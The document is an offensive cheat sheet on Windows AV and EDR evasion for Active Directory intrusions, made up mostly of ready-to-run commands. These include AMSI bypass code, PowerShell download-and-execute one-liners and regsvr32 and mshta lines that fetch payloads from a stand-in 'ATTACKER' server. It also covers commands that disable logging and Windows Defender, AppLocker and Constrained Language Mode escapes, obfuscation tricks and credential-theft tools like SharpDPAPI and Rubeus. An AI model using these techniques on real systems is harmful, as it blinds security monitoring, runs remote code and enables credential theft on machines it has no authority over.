Windows AV / EDR Evasion
aka AMSI Bypass, AppLocker Bypass, AV Evasion, EDR Evasion, LOLBAS
Post-compromise evasion for AD engagements: AMSI bypass (memory patching, reflection), PowerShell logging evasion, AppLocker bypass (LOLBAS, trusted paths, regsvr32), Windows Defender exclusions, obfuscation, and living off the land techniques.
Fingerprint
- AMSI is active when Get-MpComputerStatus shows AMServiceEnabled: True
- AppLocker is active when Get-AppLockerPolicy -Effective returns rules
- ScriptBlock logging: HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Key files
| Path | Holds | Sensitive |
|---|---|---|
C:\Windows\System32\amsi.dll | AMSI interface — patching AmsiScanBuffer disables scanning | |
HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell | PowerShell logging policy — ScriptBlockLogging, ModuleLogging |
Exploitation primitives
- Patch AmsiScanBuffer in memory to disable script scanning for current PS session
- regsvr32 /s /n /u /i:script.sct scrobj.dll — executes JScript bypassing AppLocker
- Trusted AppLocker paths (C:\Windows\Temp) allow execution if write is available
- Invoke-Obfuscation or custom XOR payload to evade static signature detection
Environment Recon (What’s Active)
# Check Windows Defender status
Get-MpComputerStatus | select AMServiceEnabled, RealTimeProtectionEnabled, AMRunningMode
# Check AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Check PowerShell logging
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
# Check Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode
# If 'ConstrainedLanguage' → AppLocker / WDAC active
# Check if AMSI is bypassed (test safely)
$a = "amsi" # AMSI should flag "amsiutils" but not this
AMSI Bypass
AMSI (Antimalware Scan Interface) scans PowerShell script content before execution. Patching the AmsiScanBuffer function in memory disables scanning for the current session.
Reflection patch (no strings trigger — encode first)
# Encode and run — avoids AMSI scanning the bypass itself
$b = [System.Convert]::FromBase64String("AMSI_BYPASS_BASE64_ENCODED")
[System.Reflection.Assembly]::Load($b)
Common AMSI bypass (obfuscate before use — AV detects these raw)
# Technique 1 — amsiInitFailed reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Technique 2 — force AMSI provider unload
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[IntPtr]$d=$c
$e=[Runtime.InteropServices.Marshal]::ReadInt32($d)
[Runtime.InteropServices.Marshal]::WriteInt32([IntPtr]($d.ToInt64()+8), 0)
PowerShell downgrade (disable v2 first if not available)
# PS v2 has no AMSI
powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')"
Encoded command (basic script block logging bypass)
# Encode payload
$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')"
$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $b64
PowerShell Logging Bypass
Disable Script Block Logging (requires admin)
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Name EnableScriptBlockLogging -Value 0
Disable Module Logging
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' -Name EnableModuleLogging -Value 0
Run in a new PS process without profile
powershell -NoProfile -NonInteractive -WindowStyle Hidden -enc BASE64_CMD
AppLocker Bypass
AppLocker blocks execution of unsigned scripts and executables outside trusted paths.
Identify writable trusted paths
# Commonly writable AppLocker-allowed directories
C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\tasks\
%LOCALAPPDATA%\Temp\
%APPDATA%\
# Find writable locations in Windows dir (PowerShell)
Get-ChildItem C:\Windows -Recurse -ErrorAction SilentlyContinue |
Where { $_.PSIsContainer -and (Test-Path "$($_.FullName)\test.txt" -ErrorAction SilentlyContinue) }
regsvr32 (Squiblydoo — doesn’t check AppLocker)
# Host a .sct file on attacker server:
# <scriptlet><script language="JScript">new ActiveXObject("WScript.Shell").Run("cmd")</script></scriptlet>
regsvr32.exe /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll
mshta (HTA execution — bypasses AppLocker script rules)
mshta.exe http://ATTACKER/payload.hta
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run(""cmd"")"))
rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd",0,true);
InstallUtil (.NET 4.0 uninstaller bypass)
# Compile C# payload as .exe, then:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
MSBuild (inline task execution — allowed when .NET is trusted)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.csproj
Windows Defender Evasion
Check and modify exclusions (requires admin)
# List exclusion paths
Get-MpPreference | Select ExclusionPath, ExclusionExtension, ExclusionProcess
# Add exclusion for staging directory
Add-MpPreference -ExclusionPath "C:\Temp"
Add-MpPreference -ExclusionExtension "ps1"
Add-MpPreference -ExclusionProcess "powershell.exe"
# Disable real-time protection (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true
Disable Defender via registry (requires admin)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
PowerShell Constrained Language Mode Bypass
When AppLocker is active and PS is in ConstrainedLanguage mode:
# Use .NET directly (still works in CLM)
[System.Diagnostics.Process]::Start("cmd.exe", "/c whoami > C:\Temp\out.txt")
# rundll32 executes .NET assemblies
# Inject via reflective DLL loading if possible
# Check which version of PS escapes CLM
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = no CLM
# If PS v2 is available
powershell -version 2
# Direct .NET invocation (CLM doesn't restrict all .NET)
Add-Type -TypeDefinition @"
using System.Diagnostics;
public class Exec {
public static void Run(string cmd) { Process.Start("cmd.exe", "/c " + cmd); }
}
"@
[Exec]::Run("whoami")
Obfuscation Techniques
String splitting
# "Invoke-Expression" split to avoid detection
$i = 'Inv'+'oke-Exp'+'ression'
& ([scriptblock]::Create($i)) "whoami"
Base64 + char conversion
# Convert each character
$cmd = [char]119+[char]104+[char]111+[char]97+[char]109+[char]105 # "whoami"
Invoke-Expression $cmd
Invoke-Obfuscation (automated)
Import-Module Invoke-Obfuscation
Invoke-Obfuscation
# TOKEN\ALL\1 (obfuscate tokens)
# ENCODING\1 (encode the script)
LOLBAS — Living Off the Land
Binaries signed by Microsoft that can proxy code execution:
| Binary | Execution | Notes |
|---|---|---|
regsvr32.exe | Squiblydoo SCT | No mark-of-the-web check |
mshta.exe | HTA/VBScript | AppLocker bypass |
msbuild.exe | Inline C# task | .NET trusted |
installutil.exe | Uninstall code | .NET trusted |
certutil.exe | -decode payload | Also downloads files |
bitsadmin.exe | Download + exec | Legacy but still works |
wmic.exe | /format: JScript | AppLocker bypass |
cmstp.exe | INF file | AppLocker bypass |
runscripthelper.exe | Any script | Win10 only |
forfiles.exe | /c cmd | Trusted path |
Full list: https://lolbas-project.github.io/
C# Tools Without PowerShell
When PowerShell is fully blocked, use C# compiled tools that run as regular executables:
# SharpView (PowerView in C#)
.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired
# SharpHound (BloodHound collection)
.\SharpHound.exe -c All
# Rubeus (Kerberos)
.\Rubeus.exe kerberoast /nowrap
# SharpDPAPI (credential extraction)
.\SharpDPAPI.exe credentials
# SharpUp (privilege escalation checks)
.\SharpUp.exe audit